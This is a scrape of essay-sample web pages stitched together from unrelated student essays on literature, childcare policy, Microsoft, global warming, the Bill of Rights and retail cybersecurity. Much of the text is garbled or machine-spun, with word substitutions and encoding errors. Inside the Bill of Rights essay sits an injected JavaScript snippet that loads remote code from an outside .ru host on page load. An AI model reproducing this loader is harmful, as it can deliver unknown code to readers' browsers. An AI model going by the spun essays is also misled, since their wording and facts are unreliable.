Prime of Miss Jean Broadie :: Essays Papers

Prime of Miss Jean Broadie To be in Miss Broadie’s set was to be set apart from the rest of the school. They were outwardly looked upon with disdain. Inwardly, however, others were jealous of them for the distinction they received. Each girl in the Broadie set was held on a pedestal. Each had something special about them, reasons why they were chosen by Miss Broadie, and that puts them at higher regard. Each girl was famous in school for something. They really have very little in common with one another aside form their friendship with Miss Broadie. Each girl was selected for their individual personality traits, and further chosen because Miss Broadie knew that none of their parents would ever have a problem or make complaints about her unorthidoxed method of teaching. Mary was the stupid character of the set. Miss Broadie, along with the other girls, treated Mary as their scapegoat. They blamed everything on her stupidity. Miss Broadie harshly accused her and blamed her for faults belonging to everyone, using her to make an example. Monica was known by all for her quick temper and her mind for mathematics. She was chosen, most likely, for little more than the fact that Miss Broadie knew that her parents would not have any problems. Miss Broadie never seemed to have an underlying scheme planed out for her, as she did with some of the other girls. Eunice was quite the same, seeming to have no purpose to the group, and the other girls wondered for some time why Miss Broadie had chosen her. Miss Broadie’s interest in her, it was found out, was that Eunice was a wonderful gymnast, and would entertain Miss Broadie with her performances shown before her class. Jenny, with her golden curls, was the prettiest of the bunch. She had a beautiful voice and later a desire to act. Miss Broadie had hopes that one day Jenny would become one of her crà ¨me-de-la-crà ¨me, but Jenny disappointed her, becoming too dull for Miss Broadie’s taste as she got older. Rose, as she became older, would be known for sex. Miss Broadie took special interest in her, because, as she saw it, Rose had instinct. The love of Miss Broadie’s prime was Mr.

Integrated and multi-agency working Essay

Working with children will often involve you working closely with families and different agencies. Multi-agency working and integrated working plays a very important part in ensuring children and families with additional needs are provided with the best possible support. Multi-agency working requires practitioners and professionals from different sectors and within the workforce to provide integrated support for children and families with additional needs. Multi-agency working provides many benefits for children and their family as they provide them with tailor-made support in the most efficient way. These benefits may include: -early identification and early intervention, -quicker access to services and/or expertise, -improved progress and achievement with their milestones and education, -better quality services, -better support for the families. Integrated working focuses on enabling and encouraging professionals to work together effectively to deliver front line services. Integrated working key elements include: -early intervention if needed, -assessments which allow practitioners to undertake an early and initial assessment of a child’s needs and access whether extra services may be required, -recording information in one place and with the consent of the child or parent, -sharing information with relevant inter-agency practitioners, -the team around the child discussing and making joint decisions with the family on the assessment and recommendations for further support, -the lead professional who is the key to the process of integrated working and is the practitioner who acts as the point of contact with the child, their family and who coordinates and monitors the action plan that may have been implemented.

Catch-22 by Joseph Heller - Free Essay Example

Sample details Pages: 5 Words: 1477 Downloads: 3 Date added: 2019/08/16 Category Literature Essay Level High school Tags: Catch 22 Essay Did you like this example? When exploring the concept of moral appropriateness in a text, one seeks out what could be considered as what would be right, judging the situation by hand. Generally speaking when seeking out the right in circumstances the decision comes from analyzing the physical and emotional outlooks on a character in text. In this case what is being disected in terms of moral appropriateness is one of the characters from the satirical novel by Joseph Heller; Catch-22. Nately is young man of age who resides as a not commonly character in Catch-22. He is known for being someone who is sensitive and who comes from a wealthy family. According to Catch-22; His nature was invariably gentle and polite (Heller 248) and His childhood had been a pleasant, though disciplined one (Heller 248). In terms of exploring moral appropriateness with this character, the entirety of Natelys context revolves around another character. The whore or Natelys whore is a prostitute from Rome that Nately falls in love with in Catch-22. Don’t waste time! Our writers will create an original "Catch-22 by Joseph Heller" essay for you Create order When analyzing the situations of Nately in Catch-22 , dissecting Natelys background, and what his actions are in the novel we can conclude distinctions on what others or the readers might see as morally inappropriate. For example, Nately comes from a family of wealth yet has fallen in love with a prostitute. A prostitute in the eyes of society is looked upon lowly. This is because their profession involves committing intimate acts with strangers in exchange for money. Usually a woman who does this in the place of poverty. Without knowing that Nately comes from a rich family, there would be no way in pointing out the moral inappropriateness between him and his whore. The appropriateness lies within their personal context that Heller has inputted in Catch-22. It is not only the scandal between Nately and his whore that is morally inappropriate but what his intentions are revealed in Catch-22. After confessing his love to her with Yossarian and Arfy, Nately says that his intentions lie in the means of marrying the whore. The moral inappropriateness is what Nately believes to be morally appropriate. What Nately believes to be morally appropriate is to be together with the whore in terms of marriage. The character stresses out his defiance when other characters such as Arfy, opposed to his idea of being in love with the whore. In response to his statement, Arfy says I can just imagine what your father and mother would say if they knew you were running around with filthy trollops like that one. Your father is very distinguished man, you know (Heller 288). After Nately declares that he shall be marrying the whore as well Arfy responds with Ho, ho.ho,ho,ho! Now youre really talking stupid. Why youre not even old enough to know what true love is (Heller 288). However there are instances in Catch-22 where readers will suggest Nately and his actions are more morally appropriate rather than inappropriate. For instance, after the whore had slept for eighteen hours, satirically it was that that made her fall in love with Nately. It is satirically in a sense that after longing for the whore to love him, it only took her sleeping for while to fall in love with Nately. Furthermore, Nately felt authority over her and the whores kid sister, leading to him developing a demanding side over the whore in Catch-22. Get dressed (Heller 356),Because I dont want them to see you without any clothes on (Heller 356) are things that he ordered the whore to do. When the whore questioned him, his response was Because I say so! (Heller 356). Readers would analyze his behavior to be morally inappropriate. This is due to the fact that he is forcing her to do things out of her will only because she has fallen in love with him. It is suggesting that her returning he r love gives him the right to show authority over her. Generally, others would suggest that this shouldnt be the case and that the whore should be free to do as she pleases. On another hand, what Nately demanded of her wasnt to suit his personal interest but rather, he was configuring her image. When he tells her to put her clothes on he says this because he does not want other men to see her in a vulnerable state that would otherwise be inappropriate. For instance, if he didnt tell her to cover up then the whore would continue to go her way. That way being the image of a whore. However, when it comes to moral appropriateness, one has to think that what would be best is if neither character acted upon their actions. Nately neednt tell his whore what to do out of his will because he should not have authority over another human without their consent. The whore should not continue to act scandalously otherwise her relationship with Nately would be unbalanced in terms of class. The reasoning behind Natalys actions are simple enough. He grows authoritative with the whore because he does not want her to be seen in the same way she is seen by him in the eyes of other men. He wishes to marry her because he loves her. Although despite the drastically different characteristic he develops, it can be be easily justified if one focuses on the whores background more than his. Natalys actions can be justified good in the sense that after the whore falls in love with him, he suggests that They made a wonderful family group, he decided (Heller 356). In reference of the whores sister he thought; The little girl would go to college when she was old enough, to Smith or Radcliffe or Bryn Mawrhe would see to that (Heller 356). Overall, these actions make create a balance with this character. On one hand, Nately, like any other person contains flaws that may contribute to their moral appropriateness and then others will lean forward to inappropriateness. In this case, Natelys ideas and what he believes to be right in overall can be considered good. To validate this statement, further into the satirical text it is discovered that Nately wishes to obtain more missions, stating in the process that I dont want to go home until I can take her back with me (Heller 368). Following these events it is later found that Nately has died while in another mission and it was caused by Dobbs. That being said, going back to when Nately desired to have more missions in order to be with the whore, Yossarian questioned; She means that much to you? (Heller 369). Nately agreed and responded with I might never see her again (Heller 369). What is considered to be right by Nately could not just be seen morally wrong in the eyes of the reader but other characters he interacts with. Yossarian whom is another character from Catch-22 plainly opposes to what Nately believes in. In Natelys case it would be morally appropriate, which is to engage in more missions. Catch-22 references For the first time in his life, Yossarian prayed. He got down on his knees and prayed to Nately not to volunteer to fly more than seventy missions after Chief White Halfoat did die of pneumonia in the hospital and Nately had applied for his job (Heller 368). The negative outlook Yossarian has on Natleys beliefs can have readers on the same terms. Morally speaking, Natelys death can not be justified as good in any way. Although one can draw emotional pity from the event, they can also draw the conclusion that Nately did wrong in applying himself for more missions. Why he did wrong in applying for more missions mainly revolves around the fact that by doing this he died in the process. His death could have been avoidable but it all relied on Nately to realize this. Nately could have realized his mistake by simply taking Yossarians advice in consideration. Others could argue that what Nately did was morally right. The idea that what Nately did was morally right can be argued because he went forward with these missions for a good cause. The good cause being that he did not want to leave the whore and her kid sister alone and wanted to take them with him. Although he did suffer death in the end, there is no other motive that can oppose to the good moral of the circumstances other them his death. The idea of what is morally appropriate and what is not comes in the hands of what most individuals believe, or majority. Often many may see certain actions as the right thing to do while others that are not majority will think the opposite. In this case, while exploring the context of Nately, it can be concluded that this character is specifically drawn to moral appropriateness Works Cited Heller, Joseph. Catch 22. New York, Simon Schuster, 2011.

Microsoft - 1208 Words

INDIVIDUAL PROJECT: Microsoft 1. Description of Company a. Organizational Description – Microsoft is a computer company based out of Washington. Since the launched in 1975, the company has grown to be the leading software organization in the world, providing services to Fortune 500 companies, predominate universities, and in the homes of millions of citizens. Microsoft is responsible for the creation of every day uses for us today, such as operating systems, graphical user interfaces (GUI), Microsoft Word, Microsoft Excel, and most importantly, the Xbox. b. History – Paul Allen approached Bill Gates about starting a company that would develop and sell parts for the Altair 8800, which was the first personal computer to†¦show more content†¦* Joint Ventures Barnes amp; Noble, GE Healthcare, and BesTV k. Market * Computer software industry – Software remains one of the most innovative and fastest growing areas of the global economy, generating revenues of more than $150 billion every year. About half of those sales come from software applications, with the remainder split between development tools and things like operating systems and security software. Microsoft leads the market in most of the categories. 3. Internal Analysis l. Financial Assessment Overview, including market performance – In 2014, Microsoft generated $86,833,000 in sales, with a net profit of $22,074,000. Although the company is still behind its main competitor, Apple, they are still holding strong in market performance. Since 2011, the market price has consistently gone up, increasing by nearly 96% over the past four years. With innovative products like the Surface, Microsoft is moving in the right direction. 4. Business Strategy Analysis m. Products – Surface, Windows, Microsoft Office, Xbox One, and Bing n. Customer Value Proposition – There is still a large customer base, and Microsoft prides itself as being able to add value to people’s lives. Especially with the success of the Xbox console, which allows entertainment assets to be developed within the company –Show MoreRelatedMicrosoft, Microsoft And Microsoft1184 Words   |  5 Pagescharges in 1998 against the software company, claiming that Microsoft had taken over the internet browser competition and limited consumer choice. In view of antitrust regulation in the US and EU, and increasing competition in the desktop software market, Microsoft was determined to move beyond the PC software industry. By formally recognizing the emerging business opportunities introduced by the new internet era (â€Å"Web 2.0†), Microsoft began to reinvent itself. It wanted to extend its software productsRead MoreMicrosoft : Microsoft Search Case1469 Words   |  6 PagesMichael Spiotta Dr. Heppard Microsoft Search Case Study September 29, 2014 1. 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This organization has branched out in current years to involve themselves into not only the phone industry but withal the video game business withRead MoreMicrosoft And Microsoft s History Essay3292 Words   |  14 Pages Microsoft Corporation 1. Microsoft’s History: Bill Gates established Microsoft (initially named Micro-Soft) in 1975 in the wake of dropping out of Harvard at 19 years old and collaborating with High School companion Paul Allen to offer a rendition of the programming dialect BASIC. Entryways moved Microsoft to Seattle in 1979 and started creating programming that let other compose programs, in this manner the cutting edge PC was conceived in 1980 when IBM pick Microsoft toRead MoreMicrosoft History1423 Words   |  6 PagesBackground The beginning of Microsoft Inc. started with Bill Gates and Paul Allen writing computer program code for local businesses and municipalities. In 1975 they were inspired by an issue of Popular Electronics that showed the new Altair microcomputer kit, manufactured by MITS Computer. Bill Gates and Paul Allen wrote a version of BASIC, a computer programming language, for the machine. Later that year Bill Gates left Harvard University to work full time developing programming languages forRead MoreMicrosoft Analysis1396 Words   |  6 PagesABSTRACT: This assignment tries to assess the current market status of Microsoft Corporation. As well this assignment will try to assess its current market position as per its business units, functionality, and also its different operations sectors as well its strategies for its rivals. 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Rates vary depending on whether youRead More Microsoft Essay1922 Words   |  8 PagesMicrosoft There have been many arguments and issues that have been raised with the controversy over Microsoft and the U.S. Department of Justice’s claim against Microsoft and its founder Bill Gates of monopolistic practices in bundling its internet browser â€Å"Internet Explorer† into its popular Windows computer operating system. By doing this, Microsoft would effectively crush its competitors (it’s main rival being Netscape Navigator), and acquire a monopoly over the software that people use toRead MoreMicrosoft Paper2105 Words   |  9 PagesMicrosoft Case Team 7: Executive Summary Microsoft (MS) is a multinational computer technology corporation that develops, manufactures, licenses, and supports a wide range of software products for computing devices. In the mid 1990’s, Microsoft held the monopoly in the production of Operating Systems (OS) for personal computers (PC). When their monopoly was threatened by Netscape, MS began bundling the Internet Explorer (IE) web browser with Windows, using cross-promotional deals with internetRead MoreMicrosoft Corporation4397 Words   |  18 PagesIntroduction Microsoft Corporation is a multinational company based in Redmond Washington. The company manufactures computer products and offer computer services. The company also licenses and supports various types of computer products and services. Microsoft Corporation was founded in 1975 by Bill Gates and Paul Allen. The company is the largest software manufacturer globally in terms of revenue. It is also the most valuable organization in the world. Bill Gates and Paul Allen founded the company

The Inevitable Truth Of Global Warming - 1952 Words

Noah C Oetting Paul Stabile Scientific Technical Report Writing March 30th, 2015 The Inevitable Truth My dream is to live in a world where I can walk outside and know I live in a clean environment where I don’t have to worry about what my grandchildren’s grandchildren might have to deal with during their lives. Earth’s climate is facing a dramatic turn of events and becomes more and more unpredictable every year. Why is this happening? Many people ask. The clear answer is facing all of us, yet some of Americans don’t want to believe it. The answer is global warming. Many people believe global warming is a hoax or a bunch of nonsense evidence constructed by the government; however, it is real and has a major effect on our world. Sea levels will rise, carbon dioxide along with green house gas levels will rise, wild life will die off, and the human race will not be ready for these consequences. Firstly, Earths largest problem, and arguably the most detrimental to its health is the drastic and sudden increase in carbon dioxide and green house gas levels: The WMO’s data for 2013 shows the global average level of atmospheric carbon at just under 400 parts per million, about 40 percent higher than in  ­pre-industrial times and higher than in any other period in at least 800,000 years. (Warrick.) This upsurge emanates numerous problems. Increases in CO2 levels lay the foundation for many of Earth’s additional problems such as the rise in sea level, temperature, and itsShow MoreRelated The Severe Effect of Global Warming Essay1266 Words   |  6 PagesGlobal Warming When we think of global warming, we think about Air pollution, rise of temperature, melting glaciers, carbon dioxide emissions and so no. But even though we know that these factors could lead to a global catastrophe, very often we do not realize what king of severe effect the global warming could have on our planet. Imagine that you are placed into the future. It is some where around 2050. You begin to live in this new world, but the planet is not the same any more. You hear aboutRead MoreThe Future Effects of Global Warming1574 Words   |  7 PagesThe Future Effects of Global Warming Introduction After several years of scientific debate over the existence of global warming, most experts now agree that global warming exists and may have devastating effects on Earth’s climate. Global warming will influence and/or cause heat waves, polar ice caps melting, flooding, extinction, and droughts. Social, Historic and Intellectual Context of the Study The existing research literature suggests that global warming is going to greatly affect theRead MoreThe Effects Of Global Warming On Our Environment1595 Words   |  7 PagesGlobal warming is already having significant and harmful effects on our communities, our health, and our climate. Sea level rise is accelerating. The number of large wildfires is growing. Dangerous heat waves are becoming more common. Extreme storm events are increasing in many areas. More severe droughts are occurring in others We must take immediate action to address global warming or these consequences will continue to intensify, grow ever more costly, and increasingly affect the entire planet—includingRead MoreAnalyzing the Pressing Issues Described in Ehrlichs Article Essay900 Words   |  4 Pageswe must tell the truth about what’s happening and challenge people to do something to prevent it† – Paul Ehrlich. (Leahy,2013) The future of our planet has been a great concern for the global community for many years. In their article ‘Can a Collapse of Global Civilisation be Avoided?’ Paul and Anne Ehrlich explore the current ecological and socio-cultural trends that they believe, if left untreated, will lead to the inevitable collapse. Unlike past civilizations, the modern global community has theRead MoreAnalysis Of John Broome s Climate Matters With The Intention Of Raising Independent1370 Words   |  6 Pagesof raising independent, yet well-informed ideas of how to ethically stand in a warming world. He questions what should be done both publically and privately and supports his statements through arguments that can be interpreted in whichever way makes the most sense to the reader. Broome logically organized his book so that before he asks moral questions, he reminds the reader in the opening paragraph about the sad truth of climate change. For example, he states the ice caps are melting and in justRead MoreHuman Contribution in Climate Change874 Words   |  4 Pageslandscape. Since the 1800s, the earth has had variant changes in global hemispheric temperature which mostly depicts the decrease of temperature. However, at the start of 1970s, temperature begins to rise up simultaneously in all regions for over roughly a century, an event that was unseen before (Figure 1.1) (Jones, 2011). Furthermore, as earth’s temperature is getting warmer, the ice in the Arctic Ocean began to melt in the warming temperature. The liquidation of the Arctic Ice has been occurringRead MoreQatar And The Concept Of Qatar939 Words   |  4 Pages(broad intergenerational justice)†. Thus, as a consequence of its prosperity, it might seem that Qatar’s resource consumption is ecologically viable and comfortably inside its local carrying capability. This however could not be further from the truth: this perception of sustainability exists only because the Emirate can satisfy for the present (and perhaps for some time in the future) the requirements of its booming population and economic activity. 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The Bill Of Rights Essay Research Paper free essay sample

The Bill Of Rights Essay, Research Paper The Bill of Rights Bill of Rights The first 10 amendments to the US fundamental law are called the Bill of Rights because they provide basic legal protection for single rights. The footings besides applied to the English Bill of Rights of 1689 and the Canadian Bill of Rights 1960, and to similar warrants in the fundamental laws of the American provinces. From the position of two centuries, it can be said that Madison chose good among they pyramid of proposal sin the province. he included all the great rights appropriate for constitutional protection. The US Bill of Rights contains the authoritative stock list of single rights, and it has served as the criterion for all subsequenent efforts to sage guard human rights. The first American usage of the term was in 1774 when the first Continental Congress adopted the declaration and resolutenesss, which was popularly termed the Bill of Rights because it was an American equivalent of the English Bill of Rights. Two old ages subsequently came the Virginia declaration of rights, which R / gt ; contained the first warrants for single right individual gully enforceable fundamental law. The typical characteristic of the proviso in American Bill of Rights is that they are enforced by the tribunals. From the clip they foremost settled in Virgin and Massachusetts, the American settler relied upon the rights enjoyed by Englishmen. The battle for independency, nevertheless, demonstrated to them that rights non specified and codified in constitutional paperss were insecure. The consequence was a motion every bit shortly as independency was declared, to follow bindings fundamental laws that limited governmental power and protected single rights. Seven of the 13 provinces adopted fundamental laws that included specific measures of rights. The first province measure of rights was the Virginia Declaration of Rights, adopted as portion of the province B # 8217 ; s first fundamental law on June 12,1776. Virginia # 8217 ; s declaration, drafted chiefly by George Manson, served as the theoretical account both for similar province paperss and for the US Bill of Rights. It provided warrants for most of the rights secured in the latter papers. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Strategic Information Security Australian Supermarket Brand

Question: Describe about the Strategic Information Security for Australian Supermarket Brand. Answer: Introduction Background of the selected organization Company Profile Foodland Supermarkets is an Australian supermarket brand, which is operating over one hundred as well as fifteen locations in South Australia. The organization is operated in South Australian for over 50 years. The tagline of the organization is The Mighty South Aussies. With stores of 118, the food store has established an iconic brand in the retail sector of South Australia (Foodlandsa.com.au 2015). The products of the retail store are groceries, food, and drink. The retailers of Foodland are supporting South Aussie sporting, charities, schools as well as community clubs for around 50 years. Some of the competitors of Foodland Supermarkets are Aldi Australia, Coles, and Woolworths. Figure 1: Logo of Foodland (South Australia) (Source: Foodlandsa.com.au 2015) History The Foodland store was established in the year 1962, and after that, the retail store is expanded as well as modified over the years in order to become one of the food shopping center. The founder of the organization is Hoeper Family. Currently, Romeos retail group runs the retail organization. In the year 2005, Metcash owned IGA, which is Australia Supermarket Group, bought the brand of Foodland (Foodlandsa.com.au 2015). In the year 2016, Foodland introduced a new sub-slogan such as "green food lives here" as well as a new advertisement that gives a new version of their slogan The Mighty South Aussies jingle. Current Situation Foodland Supermarkets has the highest market share for their independent supermarket operators within Australia. The market segment of the organization is retail as well as grocery stores. The target group is South Australian, and their positioning supports the community. Foodland has 32 percent of market share of their supermarket retail market within South Australia. The organization has 96 percent awareness rate. Still, it competes with its one of the competitors Aldi that opens in 2016 (Foodsouthaustralia.com.au 2016). Values, vision and mission statement The core values of Foodland (South Australia) are customers those are most important for the business and then it is a community. The retail sector is also committed to the growth of business, and they have long-term supplier relationships (Foodlandsa.com.au 2015). Finally, they give value to right people in a right job and give them safer working environment. The mission of the organization is to provide their customers with exceptional services, great range, gives money value as well as an outstanding shopping experience. The vision of Foodland is to open 22 new stores across South Australia over the next five years. About the research paper The paper is based on current security issues of the selected organization, Foodland Supermarkets. The organization is facing cyber security risk in their retail business operations. It gives a huge impact on their brand reputation, productivity as well as profitability of their retail business. After identifying the current security state of Foodland, some improvement areas are also discussed so that the organization can overcome the security issues. If Foodland Supermarket should follow the information security strategies, which are suggested, to the organization, then they can make security improvements in their business operations. Security risks in Foodland Supermarkets Current security state of the selected organization Foodland respects the privacy and safeguards the personal information that provides through the website. However, the recent research shows that Foodland Supermarkets are likely to report cyber crime incidents (Kang Gray 2013). The food retail sector faces cybercrime threats from the factors such as cyber criminals seek to obtain financial account as well as customer data. The threats actors have targeted the point of sale system, customer databases, financial data of the organization and stored personally identifiable information (Fielke Bardsley 2013). The personal information of their customers is hacked by a hacker, and it is then misused. Foodland will retain the personal information in their companys database to serve better to their customers (Whitman Mattord 2014). The personal information is shared with the vendors and collaborates so that they can extend offers through coupons and promotions (Harrington 2014). The information is also used to verify the identity of the cu stomers to process payments for purchases through the website. As Foodland Supermarkets, operate an online website for selling off their food products, therefore online fraud is also increasing on a daily basis (Huang Gamble 2015). Due to three main factors, the Australian consumers are attracted to online shopping such as low price, wide range of goods as well as convenience (McHenry 2013). Online fraud is done due to fraudulent card use. The hackers steal the details of the payment card without aware the card owner. The fraudsters act as the customers if they have genuine cards. The chip technology is considered as a most secured payment method as compared to traditional credit card magnetic strips (Venkatesh, Rathi Patwa 2015). The magnetic strips consist of unchanging data that are used by the fraudster purchases until the cancellation of the card. The card with an EMV chip generates one-time transaction code, which is not used for any other in-store transaction. Figure 2: Types of Security Risks (Source: Venkatesh, Rathi Patwa 2015, pp-160) Possible security challenges Foodland Supermarkets are increasing the use of technology such as in-store Wi-Fi as well as the internet of things initiatives used to improve the customer experience (Foodsouthaustralia.com.au 2016). Through advanced threat monitoring, Foodland Supermarkets has identified top vulnerabilities so that the retailers should be aware to safeguard their business as well as protect the customers from the security threats. Internet of things: According to Williams, Hardy and Holgate (2013), the retail IoT market will worth $35 billion by the year 2020 as the retailers invest in IoT. It is done in order to manage inventory, mobile payments, shopper intelligence as well as the creation of advertisement and inventory (Foodsouthaustralia.com.au 2016). IoT creates challenges for the retailers, which are required to overcome. Use of Wi-Fi: Foodland has started to leverage public Wi-Fi for giving service to their customers (Bruwer Rawbone-Viljoen 2013). It is done to increase sales as well as gain valuable consumer data. The wireless networks should require deploying and manage so that it overcomes with major consequences, as the network might be un-encrypted. Card payment fraud: This kind of fraud occurs mainly occurs when the cardholder are not physically present at the time of payment such as online transactions (Smith 2013). It occurs, as the cards are not protected by chip as well as Pin. This type of fraud is also called credit card fraud as it involves payment card such as debit as well as a credit card at the time of the online transaction (Shapiro Varian 2013). Due to this security issues, it affects the brand reputation as well as the profitability of the organization. Data security breaches: The hackers steal the data of the customers and then it is misused by them (Galliers Leidner 2014). The hackers get the information of the customers when they share it on the website of the company at the time of purchasing of products. At that time, when the customers enter their personal information into the website of the organization, then the hacker steal that information and then they use it for any other purposes (Williams, Hardy Holgate 2013). Therefore, the organization requires eliminating the historical data of the customers when it is of no use. It will overcome the security issues of data breaches. Impact of security risk on the business operations The beaches result into negative global publicity, loss of the values of shareholders, reduction in profit as well as spend millions of dollars in mitigation of beaches. It also erodes the trust of the customer and brand reputation (Shapiro Varian 2013). The research shows concerns about the security of personal as well as payment data. Those beaches increase the concern of the retailers about their in-store security. The employee's at the retail food company discover that the network of the company has compromised when the customer start to report that the online ordering system is poor (Amrollahi, Ghapanchi Najaftorkaman 2014). The following are the factors that influence future targeting within the food retail sector as follows: Cyber criminals should take advantage of the busy holiday season to steal the details and information of the customers (Ucakturk Villard 2013). They can also compromise with retailer payment system at that time when a high volume of activities within the organization should take place. When Foodland Supermarkets develop new food and drink products, then the hackers can obtain proprietary information related to the new product (Yaokumah Brown 2014). The cyber criminals should target the retail sector when the companies should adopt new payment system; then they take advantage of undetected vulnerabilities as well as security flaws in the system (Mejias Balthazard 2014). The security of the data is more than the information technology issue. It is marketing issues as it provides great customer service imply the protection of the customers data. Njenga (2014) researched that the companies those are facing data breaches react negatively. The companies can lose 3 percent of their market value due to consequences of a data breach. Those incidents violate the trust of the customers. It is not the loss of trust by the current customers but a negative word of mouth, especially through social media. Customer data breaches result into bad publicity for the company (Williams, Hardy Holgate 2013). The research shows that the market value of the Foodland Supermarkets suffers a negative impact such as they can lose nine percent of their market value within 30 days (Foodsouthaustralia.com.au 2016). The marketers are reacted severely due to data breaches as the food retail sector can be fickle as well as they are not loyal to brands (Yaokumah Brown 2014). A breac h of any size leads to a strategic blunder by the market. Suggestions for improvement in security Strict privacy policies: Foodland should adopt electronic and procedural privacy policies in order to protect the information of their customers (Mejias Balthazard 2014). The website vendor is required to document confidentiality policies. Strict information security measures are required to implement in the organization to ensure that the industry standards are protected against unauthorized access of personal information. Foodland should implement data security measures, and regular penetration testing should be done on the websites as well as servers. Follow CNSS model: Foodland Supermarkets should adopt CNSS model for their organization so that it gives a detailed perspective of the security measures. It consists of three dimensions of security such as confidentiality of the data, integrity as well as the availability of the required data (Whitman Mattord 2014). It helps the organization to protect the information as well as customer's data are secured. Elimination of historical data: the Timely destruction of the historic data as per the data retention policies as well as procedures of the company should help to eliminate security issues such as data accuracy as well as security beach. Implementation of a new database system: A new system should be implemented during the IT upgrade of the organization (Amrollahi, Ghapanchi Najaftorkaman 2014). The company should remove histrionic data of the customers from the old database system before making IT changes. The new database system should be updated as well as maintained properly so that it will not outdated. The outdated information system should not give wrong information, which will be an issue for the organization. Fraud control measures for cards: Tighter procedures should be taken by the organization such as remote verification of the card is required to check its limit if it has stolen. Computer chip-based cards should replace the magnetic stripe of the smart card. This chip should be similar to the chip, which resides in the personal computer (Mejias Balthazard 2014). It consists of data such as magnetic stripe as well as a microprocessor, which undertake computations. Contingency plan: Foodland Supermarkets should require adopting post-breach protocol of how they will inform of data breaches as well as compensate their consumers (Whitman Mattord 2014). A good contingency plan can help to generate goodwill. A Proper plan should be done by the business analyst so that they can adopt a good contingency plan to improve their security issues. Establishment of IT governance: As Foodland Supermarkets is conducted online, therefore the establishment of IT governance program is required to integrate processes as well as technology to deliver security needs of the organization (Galliers Leidner 2014). It will reduce the cost of operations as well as eases the burden of regulation. Advantage of National Institute of Standards and Technology (NIST) framework: The NIST cyber security framework integrates the cyber security practices that are being developed by NIST. The framework consists of a risk-based compilation of the guidelines as well as provides with assessment designed to determine the current security capabilities (Amrollahi, Ghapanchi Talaei-Khoei 2014). It improves the data security, risk assessment, business strategy as well as response plans. Conclusion It is concluded that the food retail sector faces cybercrime threats from the factors for example; cyber criminals try to acquire related money record and client information. The threats actors are targeted on the purpose of offer framework, client databases, and monetary information of the association and put away by and by identifiable data. Foodland has started to leverage public Wi-Fi for giving service to their customers, and there are threats in the network. Card payment fraud is a most vital security threat as it steals the money of the customers. It mainly occurs when the cardholder is not physically present at the time of payment such as online transactions. After identifying the security risks, the organization requires mitigating those risks. Some of the suggested improvement strategies are that Foodland Supermarkets require implementing strict privacy policy in their organization. Foodland should execute information security measures to establish safety as well as regular penetration testing ought to be done on the sites and also servers. PC chip-based cards ought to supplant the attractive stripe of the smart card. This chip ought to like the chip, which dwells in the PC. It comprises of information, for example, attractive stripe and chip, which embrace calculations. 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